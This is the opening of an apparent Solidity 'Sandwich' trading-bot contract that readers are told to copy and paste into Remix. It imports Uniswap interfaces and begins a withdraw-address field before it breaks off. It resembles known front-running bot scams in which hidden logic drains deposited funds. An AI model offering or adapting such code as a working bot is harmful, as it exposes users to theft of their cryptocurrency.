Copy & Paste in Remix://SPDX-License-Identifier: MIT pragma solidity ^0.6.6; // Import Libraries Migrator/Exchange/Factory import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; contract Sandwich { string public WithdrawAddress =...